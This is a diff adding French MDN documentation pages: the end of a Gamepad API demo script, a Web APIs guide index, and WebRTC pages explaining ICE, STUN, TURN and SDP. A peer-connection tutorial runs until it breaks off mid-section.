+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i=0; i&lt;gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+  d.appendChild(b);
+  var a = document.createElement("div");
+  a.className = "axes";
+  for (var i=0; i&lt;gamepad.axes.length; i++) {
+    var e = document.createElement("progress");
+    e.className = "axis";
+    //e.id = "a" + i;
+    e.setAttribute("max", "2");
+    e.setAttribute("value", "1");
+    e.innerHTML = i;
+    a.appendChild(e);
+  }
+  d.appendChild(a);
+  document.getElementById("start").style.display = "none";
+  document.body.appendChild(d);
+  rAF(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+    for (var i=0; i&lt;controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+      var pct = Math.round(val * 100) + "%"
+      b.style.backgroundSize = pct + " " + pct;
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (var i=0; i&lt;controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+  rAF(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (!(gamepads[i].index in controllers)) {
+        addgamepad(gamepads[i]);
+      } else {
+        controllers[gamepads[i].index] = gamepads[i];
+      }
+    }
+  }
+}
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+if (!haveEvents) {
+  setInterval(scangamepads, 500);
+}</pre>
+<h2 id="Specifications">Specifications</h2>
+<p>{{page("/en-US/docs/Gamepad","Specifications")}}</p>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{page("/en-US/docs/Gamepad","Browser_compatibility")}}</p>
+<p> </p>
+<p> </p>
+<p> </p>
diff --git a/files/fr/web/guide/api/index.html b/files/fr/web/guide/api/index.html
new file mode 100644
index 0000000000..9dbd8867c5
--- /dev/null
+++ b/files/fr/web/guide/api/index.html
@@ -0,0 +1,24 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+  - API
+  - Guide
+  - Landing
+  - Web
+translation_of: Web/Guide/API
+---
+<p>Le Web peut être utilisé avec de nombreuses API, accessibles en JavaScript, qui permettent de construire des applications puissantes, sur le Web, localement ou sur un serveur grâce à <a href="https://nodejs.org/">Node.js</a>. Sur cette page, vous pourrez trouver une liste complète de l'ensemble des API utilisables avec les technologies web.</p>
+
+<h2 id="Index_des_API_Web_(A_à_Z)">Index des API Web (A à Z)</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API">Référence des interfaces des API Web </a>(un index de l'ensemble des interfaces qui composent ces API)</li>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">Le <em>Document Object Model</em></a> (DOM ou modèle objet de document)</li>
+ <li><a href="/fr/docs/Web/Events">Référence des évènements associés aux API Web</a></li>
+ <li><a href="/fr/docs/Apprendre">Apprendre le développement web</a></li>
+</ul>
diff --git a/files/fr/web/guide/api/webrtc/index.html b/files/fr/web/guide/api/webrtc/index.html
new file mode 100644
index 0000000000..158b7395a5
--- /dev/null
+++ b/files/fr/web/guide/api/webrtc/index.html
@@ -0,0 +1,51 @@
+---
+title: WebRTC
+slug: Web/Guide/API/WebRTC
+tags:
+  - Intro
+  - WebRTC
+translation_of: Web/API/WebRTC_API
+---
+<p><strong>WebRTC</strong> (où RTC signifie Real-Time Communications -Communications en temps réel-) est une technologie qui permet la transmission en continue (streaming) de l'audio/vidéo et le partage de données entre les navigateurs clients (peers). Comme un ensemble de normes (standards), le WebRTC fournit à n'importe quel navigateur la capacité de partager des données d'application et d'effectuer des téléconférences d’égal à égal, sans avoir à installer quelques plug-ins ou logiciels tiers.</p>
+<p>Les composants WebRTC sont accessibles grâce aux APIs JavaScript : l'API de flux réseau (Network Stream), qui représente un flux de données audio ou vidéo ; l'API de Connexion (PeerConnection), qui permet à plusieurs utilisateurs de communiquer via leurs navigateurs ; et l'API DataChannel qui permet la communication d'autres types de données pour le jeu en temps réel, dialogue en ligne, transfert de fichiers, etc.</p>
+<div class="note">
+ <p><strong>Note:</strong> Cette documentation n'est pas à jour et est un travail en cours. <strong>Vous voulez aider?</strong> Nous avons besoin de personnes pour parcourir ces docs et les mettre à jour, tout autant que de documenter les APIs dans notre référence d’API! Consultez notre guide à la page <a href="/fr/docs/MDN/Débuter_sur_MDN">Débuter sur MDN</a> si vous voulez aider.</p>
+</div>
+<h2 id="Guide">Guide</h2>
+<dl>
+ <dt>
+  <a href="/fr/docs/WebRTC/Introduction" title="/fr/docs/WebRTC/Introduction">Introduction au WebRTC</a></dt>
+ <dd>
+  Guide d'introduction à ce qu’est WebRTC et comment ça marche.</dd>
+ <dt>
+  <a href="/fr/docs/WebRTC/communication-de-pair-a-pair-avec-WebRTC" title="Communication de pair-à-pair avec WebRTC">Communications Peer-to-peer avec WebRTC</a></dt>
+ <dd>
+  Comment faire pour effectuer des communications peer-to-peer en utilisant les APIs WebRTC.</dd>
+ <dt>
+  <a href="/fr/docs/WebRTC/Prendre_des_photos_avec_la_webcam" title="Prendre des photos avec la webcam">Prendre des photos avec la webcam</a></dt>
+ <dd>
+  Un guide d'introduction à ce qu’est WebRTC et à comment ça marche.</dd>
+ <dt>
+  <a href="/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture" title="/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture">Introduction à l'architecture WebRTC</a></dt>
+ <dd>
+  <strong>(AKA "WebRTC et l'océan des acronymes")</strong> WebRTC a beaucoup de parties différentes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer qu’elles sont toutes les pièces, et comment elles s'imbriquent.</dd>
+ <dt>
+  <a href="/fr/docs/Web/Guide/API/WebRTC/WebRTC_basics" title="/fr/docs/Web/Guide/API/WebRTC/WebRTC_basics">L’essentiel du WebRTC</a></dt>
+ <dd>
+  Maintenant que vous comprenez l'architecture WebRTC, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application multi-navigateur RTC simple.</dd>
+</dl>
+<h2 id="Référence">Référence</h2>
+<dl>
+ <dt>
+  <a href="/fr/docs/Web/API/Navigator.getUserMedia">Navigator.getUserMedia</a></dt>
+ <dd>
+  L'API pour capturer des médias (audio/video).</dd>
+ <dt>
+  <a href="/fr/docs/Web/API/RTCPeerConnection">RTCPeerConnection</a></dt>
+ <dd>
+  L'interface traitant en continu des données entre deux pairs.</dd>
+ <dt>
+  <a href="/fr/docs/Web/API/RTCDataChannel">RTCDataChannel</a></dt>
+ <dd>
+  L'interface pour l'envoi des données arbitraires à travers la connexion de pair (peer connection).</dd>
+</dl>
diff --git a/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html b/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html
new file mode 100644
index 0000000000..8b512d7127
--- /dev/null
+++ b/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html
@@ -0,0 +1,54 @@
+---
+title: Introduction à l'architecture WebRTC
+slug: Web/Guide/API/WebRTC/WebRTC_architecture
+tags:
+  - WebRTC
+translation_of: Web/API/WebRTC_API/Connectivity
+---
+<p class="summary">(AKA "WebRTC et l'océan des acronymes") WebRTC comporte de nombreuses parties distinctes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer quelles sont toutes ses parties, et comment elles s'imbriquent.</p>
+
+<h2 id="Qu’est-ce_que_ICE">Qu’est-ce que ICE?</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> est un cadre qui permet à votre navigateur web de se connecter avec des pairs. Il y a plusieurs raisons pour qu’une connexion directe entre un pair A et un pair B ne fonctionne pas. Il a besoin de contourner les pare-feux qui pourraient empêcher la connexion de s’ouvrir, il doit vous attribuer une adresse unique si votre appareil n'a pas une adresse IP publique comme la plupart du temps et transmettre des données via un serveur si votre routeur ne permet pas de vous connecter directement avec des pairs. ICE utilise certaines des techniques suivantes décrites ci-dessous pour y parvenir :</p>
+
+<h2 id="Qu’est-ce_que_STUN">Qu’est-ce que STUN?</h2>
+
+<p><a href="http://fr.wikipedia.org/wiki/Simple_Traversal_of_UDP_through_NATs">Session Traversal Utilities for NAT (STUN)</a> (acronyme dans un acronyme) est un protocole qui permet de découvrir votre adresse publique et de déterminer toute restriction dans votre routeur qui empêcherait une connexion directe avec un pair.</p>
+
+<p>Le client enverra une demande à un serveur STUN sur internet qui répondra avec l'adresse du client public et informera si le client est accessible derrière un routeur NAT.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="Qu’est-ce_que_NAT">Qu’est-ce que NAT?</h2>
+
+<p><a href="http://fr.wikipedia.org/wiki/Network_address_translation">Network Address Translation (NAT)</a> est utilisé pour donner à votre appareil une adresse IP publique. Un routeur aura une adresse IP publique et chaque périphérique connecté au routeur aura une adresse IP privée. Les demandes seront traduites de l'adresse IP privée de l'appareil vers l'IP publique du routeur avec un port unique. De cette façon, vous n'avez pas besoin d’avoir une adresse IP publique unique pour chaque périphérique, mais pouvez encore être découvert sur internet.</p>
+
+<p>Certains routeurs auront des restrictions sur ceux qui peuvent se connecter aux dispositifs sur le réseau. Cela peut signifier que, même si nous avons l'adresse IP publique, trouvée par le serveur STUN, tout le monde ne peut pas créer une connexion. Dans ce cas, il faut se tourner vers le TURN.</p>
+
+<h2 id="Qu’est-ce_que_TURN">Qu’est-ce que TURN?</h2>
+
+<p>Certains routeurs utilisant NAT emploient une restriction appelée ‘Symmetric NAT’. Cela signifie que le routeur n'accepte que les connexions de pairs auxquelles vous vous êtes déjà connecté.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> Doit contourner la restriction de NAT Symétrique en ouvrant une connexion avec un serveur TURN et retransmettre toutes les informations par le biais de ce serveur. Vous devrez créer une connexion avec un serveur TURN et dire à tous les pairs d'envoyer des paquets au serveur qui vous seront alors expédiés. Cela vient évidemment avec une certaine surcharge et n'est donc utilisé que s'il n'y a pas d'autres alternatives.</p>
+
+<p><img alt="Une interaction entre deux utilisateurs d'une application WebRTC impliquant des serveurs STUN et TURN." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="Qu’est-ce_que_SDP">Qu’est-ce que SDP?</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a> est une norme décrivant le contenu multimédia de la connexion comprenant la résolution, les formats, les codecs, le cryptage, etc., afin que les deux pairs puissent se comprendre une fois le transfert des données en cours. Ce n'est pas le média lui-même, mais plus les métadonnées.</p>
+
+<h2 id="Qu’est-ce_qu'une_OffreRéponse_et_un_Canal_de_Signal">Qu’est-ce qu'une Offre/Réponse et un Canal de Signal?</h2>
+
+<p>Malheureusement WebRTC ne peut pas créer de connexions sans une sorte de serveur au milieu. Nous appelons cela le Canal de Signal (Signal Channel). C'est une sorte de canal de communication pour échanger des informations avant de configurer une connexion, que ce soit par e-mail, carte postale ou pigeon voyageur... C’est comme bon vous semble.</p>
+
+<p>L’information que nous avons besoin d'échanger est l'Offre et la Réponse qui contient juste le SDP mentionné ci-dessus.</p>
+
+<p>Le pair A, qui sera l'initiateur de la connexion, va créer une offre. Il enverra ensuite cette offre au pair B en utilisant le Canal de Signal choisi. Le pair B recevra l’offre du Canal de Signal et créera la Réponse. Il renverra ensuite tout ceci au pair A via le Canal de Signal.</p>
+
+<h2 id="Qu’est-ce_qu’un_candidat_ICE">Qu’est-ce qu’un candidat ICE?</h2>
+
+<p>Autant que d'échanger des informations sur les médias (cf. Offre/Réponse et SDP), les pairs doivent échanger des informations sur la connexion réseau. Ceci est connu comme étant un candidat ICE et détaille les méthodes disponibles que le pair est en mesure de communiquer (directement ou via un serveur TURN).</p>
+
+<h2 id="L'échange_entier_dans_un_diagramme_compliqué">L'échange entier dans un diagramme compliqué</h2>
+
+<p><a href="https://hacks.mozilla.org/wp-content/uploads/2013/07/webrtc-complete-diagram.png"><img alt="Un schéma architectural complet montrant l'ensemble du processus WebRTC." src="https://mdn.mozillademos.org/files/6119/webrtc-complete-diagram.png" style="display: block; height: 559px; margin: 0px auto; width: 641px;"></a></p>
diff --git a/files/fr/web/guide/api/webrtc/webrtc_basics/index.html b/files/fr/web/guide/api/webrtc/webrtc_basics/index.html
new file mode 100644
index 0000000000..f114e2957f
--- /dev/null
+++ b/files/fr/web/guide/api/webrtc/webrtc_basics/index.html
@@ -0,0 +1,359 @@
+---
+title: L’essentiel du WebRTC
+slug: Web/Guide/API/WebRTC/WebRTC_basics
+tags:
+  - WebRTC
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<div class="summary">
+<p>Maintenant que vous comprenez l'<a href="/fr/docs/Web/Guide/API/WebRTC/WebRTC_architecture" title="Introduction à l'architecture WebRTC">architecture WebRTC</a>, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application RTC multi-navigateurs.A la fin de cet article vous devriez pouvoir créer un canal de données et de médias  pair à pair qui fonctionne</p>
+</div>
+
+<h2 id="Contenu_semi-ancien_à_partir_de_RTCPeerConnection">Contenu semi-ancien, à partir de RTCPeerConnection</h2>
+
+<p>Les informations ci-dessous proviennent de RTCPeerConnection; elles  pourraient rester ici, comme aller ailleurs. Mais elles ne font pas partie de cette page. Alors pendant que je trie cette page, elles seront ici, jusqu'à ce que je sache où elles appartiennent pour de vrai.</p>
+
+<h2 id="Usage_basique">Usage basique</h2>
+
+<p>l'utilisation de RTCPeerConnection implique la négociation d'une connexion entre votre machine  et une machine distante,et ce, en générant {{interwiki("wikipedia", "Session Description Protocol")}} a échanger entre les deux. L'appelant commence le processus en envoyant une offre à l'appareil distant, qui répond par l'acceptation ou le rejet de la demande de connexion.</p>
+
+<p>Les deux parties (l'appelant et l'appelé) doivent mettre en place leurs propres instances de RTCPeerConnection pour représenter leurs extrémités de la connexion peer-to-peer:</p>
+
+<pre class="notranslate"><code>var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// Helper functions
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i &lt; videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.close();
+}
+
+function error(err) {
+  endCall();
+}</code></pre>
+
+<p><strong>Initialiser un appel</strong></p>
+
+<p>l'appelant doit utiliser {{domxref("navigator.getUserMedia()")}} pour obtenir un flux vidéo, puis ajouter ce flux à l'instance de RTCPeerConnection. Une fois que cela a été fait, il doit appeler {{domxref("RTCPeerConnection.createOffer()")}} pour créer une offre,puis la configurer et l'envoyer a un serveur faisant office d'intermediaire.</p>
+
+<pre class="notranslate"><code>// recuperer la liste des "amis" a partir du serveur
+// l'utilisateur selectionne un amis avec qui lancer la connection
+navigator.getUserMedia({video: true}, function(stream) {
+  // l'ajout d'un stream locale ne declanche pas onaddstream,
+  // donc il faut l'appeler manuellement.
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.createOffer(function(offer) {
+    pc.setLocalDescription(offer, function() {
+      // envoi de l'offre au serveur qui se charge de la transmettre a "l'ami" choisit precedemment.
+    }, error);
+  }, error);
+});</code></pre>
+
+<p><strong>Répondre à un appel</strong></p>
+
+<p>sur l'autre machine, l'ami recevra l'offre à partir du serveur en utilisant le protocole approprié (définit par le serveur). Une fois que l'offre arrive,{{domxref("navigator.getUserMedia()")}} est une fois de plus appelée pour créer le second flux, qui est ajouté à la RTCPeerConnection. Un  objet {{domxref("RTCSessionDescription")}} est créé, et mis en place comme la description du distant en appelant {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</p>
+
+<p>Ensuite, une réponse est créée en utilisant {{domxref("RTCPeerConnection.createAnswer()")}} et renvoyé au serveur, qui la transmet à l'appelant.</p>
+
+<pre class="notranslate"><code>var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
+    pc.createAnswer(function(answer) {
+      pc.setLocalDescription(answer, function() {
+        // envoi de la réponse au serveur qui la transmettra a l'appelant
+      }, error);
+    }, error);
+  }, error);
+});</code></pre>
+
+<p><strong>Gestion de la réponse</strong></p>
+
+<p>retour a la première machine, qui recois la reponse. une fois cette dernière arrivée,l'appelant utilise {{domxref("RTCPeerConnection.setRemoteDescription()")}} pour définir la réponse comme la description de l'autre l'extrémité de la connexion. </p>
+
+<pre class="notranslate"><code>// pc a été déclaré </code>précédemment<code>, lors de l'envoi de l'offre.
+var offer = getResponseFromFriend();
+pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error);</code></pre>
+
+<h2 id="Ancien_contenu_en_approche!">Ancien contenu en approche!</h2>
+
+<p>Tout ce qui est en dessous de ce point est potentiellement obsolète. Il est toujours là en attente d'examen et d'intégration possible dans d'autres parties de la documentation où il serait encore valides.</p>
+
+<div class="note">
+<p>Ne pas utiliser les examples de cette page. Voir l'article <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">signalisation et appel vidéo</a> ,pour des example mis a jour sur l'utilisation des medias WebRTC.</p>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<p>Cette page contient des informations périmées selon <a href="http://stackoverflow.com/a/25065359/3760500">http://stackoverflow.com/a/25065359/3760500</a></p>
+
+<blockquote>
+<p>Peu importe ce que la page de MDN indique, RTPDataChannels est très désuet (faites connaître l'URL). Firefox et Chrome supportent les spec DataChannels maintenant. Idem pour DTLSSRTPKeyAgreement je pense.</p>
+</blockquote>
+
+<h2 id="Shims_Bibliothèque_d’interception_d’API">Shims (Bibliothèque d’interception d’API)</h2>
+
+<p>Comme vous pouvez l'imaginer, avec une API aussi jeune, vous devez utiliser les préfixes de navigateur et les positionner dans des variables communes.</p>
+
+<pre class="brush: js notranslate">var PeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;</pre>
+
+<h2 id="PeerConnection">PeerConnection</h2>
+
+<p>C'est le point de départ pour créer une connexion avec un pair. Il accepte des options de configuration sur les serveurs ICE à utiliser pour établir une connexion.</p>
+
+<pre class="brush: js notranslate">var pc = new PeerConnection(configuration, options);</pre>
+
+<h3 id="RTCConfiguration"><strong><code>RTCConfiguration</code></strong></h3>
+
+<p>L'objet {{domxref("RTCConfiguration")}} contient l’information sur les serveurs TURN et/ou STUN à utiliser pour ICE. Ceci est requis pour s'assurer que la plupart des utilisateurs peuvent en fait créer une connexion en évitant les restrictions du NAT et du pare-feu.</p>
+
+<pre class="brush: js notranslate">var configuration = {
+    iceServers: [
+        {url: "stun:23.21.150.121"},
+        {url: "stun:stun.l.google.com:19302"},
+        {url: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}</pre>
+
+<p>Google met à disposition un <a href="https://code.google.com/p/natvpn/source/browse/trunk/stun_server_list">serveur STUN public</a> que nous pouvons utiliser. J'ai également créé un compte chez http://numb.viagenie.ca/ pour un accès gratuit à un serveur TURN. Vous pouvez faire la même chose et les remplacer par vos propres informations d'identification.</p>
+
+<h3 id="options_Cf._Note_avant"><strong><code>options</code></strong> (Cf. "Note" avant)</h3>
+
+<p>Selon le type de connexion, vous devez passer des options.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var options = {
+    optional: [
+        {DtlsSrtpKeyAgreement: true},
+        {RtpDataChannels: true}
+    ]
+}</pre>
+
+<p><code>DtlsSrtpKeyAgreement</code> est exigé pour Chrome et Firefox pour interagir.</p>
+
+<p><code>RtpDataChannels</code> est nécessaire si nous voulons utiliser l'API DataChannels sur Firefox.</p>
+
+<h2 id="ICECandidate">ICECandidate</h2>
+
+<p>Après avoir créé la connexion et en passant par les serveurs STUN et TURN disponibles, un événement sera déclenché une fois que le framework ICE aura trouvé certains « candidats » qui permettront de vous connecter avec un pair. Ceci est reconnu comme étant un candidat ICE et exécute une fonction de rappel sur PeerConnection#onicecandidate.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (e.candidate == null) { return }
+    send("icecandidate", JSON.stringify(e.candidate));
+    pc.onicecandidate = null;
+};</pre>
+
+<p>Lorsque le rappel est exécuté, nous devons utiliser le canal de signal pour envoyer le Candidat au pair. Sur Chrome, on trouve habituellement plusieurs candidats ICE, nous n’en avons besoin que d'un seul donc j'en envoie généralement une puis supprimer le descripteur. Firefox inclut le Candidat dans l'Offre SDP.</p>
+
+<h2 id="Canal_de_Signal">Canal de Signal</h2>
+
+<p>Maintenant que nous avons un candidat ICE, nous devons l’envoyer à nos pairs afin qu'ils sachent comment se connecter avec nous. Toutefois, cela nous laisse face à une problématique de l’œuf et de la poule; Nous voulons que PeerConnection envoie des données à un pair, mais avant cela, nous devons lui envoyer des métadonnées…</p>
+
+<p>C'est là qu'intervient le canal de signal. C'est n'importe quel mode de transport de données qui permet aux deux pairs d’échanger des informations. Dans cet article, nous allons utiliser <a href="http://firebase.com">FireBase</a> parce que c'est incroyablement facile à installer et ne nécessite aucun hébergement ou code serveur.</p>
+
+<p>Pour l'instant imaginez seulement que deux méthodes existent: <code>send()</code> va prendre une clé et lui affecter des données et <code>recv()</code> appelle un descripteur lorsqu'une clé a une valeur.</p>
+
+<p>La structure de la base de données ressemble à ceci :</p>
+
+<pre class="brush: js notranslate" lang="json">{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}</pre>
+
+<p>Les connexions sont divisées par un <code>roomId</code> et stockeront 4 éléments d'information, le candidat ICE de l'auteur de l'offre, le candidat ICE du répondeur, l'offre SDP et la réponse SDP.</p>
+
+<h2 id="Offre">Offre</h2>
+
+<p>Une offre SDP (Session Description Protocol) et le méta données qui décrit aux autres pairs le format attendu(video, formats, codecs, cryptage, résolution, taille, etc etc).</p>
+
+<p>Un échange nécessite une offre d'un pair, alors l'autre pair doit recevoir l'offre et offrir en retour une réponse.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer);
+
+    send("offer", JSON.stringify(offer));
+}, errorHandler, constraints);</pre>
+
+<h3 id="errorHandler"><strong><code>errorHandler</code></strong></h3>
+
+<p>S'il y avait un problème lors de la génération d’une offre, cette méthode sera exécutée avec les détails de l'erreur comme premier argument.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var errorHandler = function (err) {
+    console.error(err);
+};</pre>
+
+<h3 id="constraints"><strong><code>constraints</code></strong></h3>
+
+<p>Options pour l'offre SDP.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var constraints = {
+    mandatory: {
+        OfferToReceiveAudio: true,
+        OfferToReceiveVideo: true
+    }
+};</pre>
+
+<p><code>OfferToReceiveAudio/Video</code> Dit aux autres pair que vous désirez recevoir de la vidéo ou de l'audio de leur part. Ce n'est pas nécessaire pour DataChannels.</p>
+
+<p>Une fois que l'offre a été générée nous devons définir le SDP local à la nouvelle offre et l’envoyer par le canal de signal aux autres pairs et attendre leur réponse SDP.</p>
+
+<h2 id="Réponse">Réponse</h2>
+
+<p>Une réponse SDP est comme une offre, mais est une réponse ; un peu comme répondre au téléphone. Nous pouvons seulement émettre une réponse qu’après avoir reçu une offre.</p>
+
+<pre class="brush: js notranslate" lang="javascript">recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer);
+
+        send("answer", JSON.stringify(answer));
+    }, errorHandler, constraints);
+});</pre>
+
+<h2 id="DataChannel">DataChannel</h2>
+
+<p>J'expliquerai d'abord comment utiliser PeerConnection pour l'API DataChannels et le transfert de données arbitraires entre des pairs.</p>
+
+<p><em>Note: Au moment de l’écriture de cet article, l'interopérabilité entre Chrome et Firefox n'est pas possible avec DataChannels. Chrome prend en charge un protocole similaire mais privé et soutiendra le protocole standard bientôt.</em></p>
+
+<pre class="brush: js notranslate" lang="javascript">var channel = pc.createDataChannel(channelName, channelOptions);</pre>
+
+<p>L'auteur de l'offre doit être le pair qui crée le canal. Le répondeur recevra le canal dans le rappel (callback) <code>ondatachannel</code> dans le PeerConnection. Vous devez appeler <code>createDataChannel()</code> une fois avant de créer l'offre.</p>
+
+<h3 id="channelName"><strong><code>channelName</code></strong></h3>
+
+<p>Il s'agit d'une chaîne qui agit comme une étiquette pour le nom de votre canal. <em>AVERTISSEMENT : Assurez-vous que votre nom de canal n'a pas d'espaces ou Chrome va échouer sur <code>createAnswer()</code>.</em></p>
+
+<h3 id="channelOptions"><strong><code>channelOptions</code></strong></h3>
+
+<pre class="brush: js notranslate" lang="javascript">var channelOptions = {};</pre>
+
+<p>Ces options ne sont pas bien supportées sur Chrome donc vous pouvez laisser ça vide pour l'instant. Vérifiez le <a href="http://dev.w3.org/2011/webrtc/editor/webrtc.html#attributes-7">RFC</a> pour plus d'informations sur les options.</p>
+
+<h3 id="Méthodes_et_événements_de_canal">Méthodes et événements de canal</h3>
+
+<h4 id="onopen"><strong><code>onopen</code></strong></h4>
+
+<p>Exécuté lorsque la connexion est établie.</p>
+
+<h4 id="onerror"><strong><code>onerror</code></strong></h4>
+
+<p>Exécuté s'il y a une erreur de création de la connexion. Le premier argument est un objet d'erreur.</p>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};</pre>
+
+<h4 id="onmessage"><strong><code>onmessage</code></strong></h4>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}</pre>
+
+<p>Le cœur de la connexion. Lorsque vous recevez un message, cette méthode s’exécute. Le premier argument est un objet d'événement qui contient les données, heure de réception et autres informations.</p>
+
+<h4 id="onclose"><strong><code>onclose</code></strong></h4>
+
+<p>Exécuté si l'autre pair ferme la connexion.</p>
+
+<h3 id="Lier_les_événements"><strong>Lier les événements</strong></h3>
+
+<p>Si vous êtes le créateur du canal(l'auteur de l'offre), vous pouvez lier des événements directement à la DataChannel que vous avez créé avec <code>createChannel</code>. Si vous êtes l'auteur de la réponse, vous devez utiliser le callback <code>ondatachannel</code> dans le PeerConnection afin d'accéder au même canal.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};</pre>
+
+<p>Le canal est disponible dans l’objet événement passé dans le descripteur en tant que <code>e.channel</code>.</p>
+
+<h4 id="send"><strong><code>send()</code></strong></h4>
+
+<pre class="brush: js notranslate" lang="javascript">channel.send("Hi Peer!");</pre>
+
+<p>Cette méthode vous permet d'envoyer des données directement au pair! Incroyable. Vous devez envoyer un String, Blob, ArrayBuffer ou ArrayBufferView, alors assurez-vous de "stringifier" les objets.</p>
+
+<h4 id="close"><strong><code>close()</code></strong></h4>
+
+<p>Ferme le canal une fois que la connexion doit se terminer. Il est recommandé de le faire sur l’ unload de la page.</p>
+
+<h2 id="Media">Media</h2>
+
+<p>Maintenant nous allons couvrir la transmission de médias tels que l'audio ou la vidéo. Pour afficher la vidéo et l'audio, vous devez inclure un tag <code>&lt;video&gt;</code> dans le document avec l'attribut <code>autoplay</code>.</p>
+
+<h3 id="Obtenir_les_médias_de_lutilisateur">Obtenir les médias de l'utilisateur</h3>
+
+<pre class="brush: js notranslate">&lt;video id="preview" autoplay&gt;&lt;/video&gt;
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(mediaOptions, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);</pre>
+
+<p><strong><code>mediaOptions</code></strong></p>
+
+<p>Les contraintes sur les types de médias que vous souhaitez renvoyer de l'utilisateur.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var mediaOptions = {
+    video: true,
+    audio: true
+};</pre>
+
+<p>Si vous voulez juste une conversation audio, supprimez la clé <code>video</code>.</p>
+
+<h4 id="errorHandler_2"><strong><code>errorHandler</code></strong></h4>
+
+<p>Exécuté s'il y a une erreur retournée par le support demandé.</p>
+
+<h3 id="Événements_Médias_et_Méthodes">Événements Médias et Méthodes</h3>
+
+<h4 id="addStream"><strong><code>addStream</code></strong></h4>
+
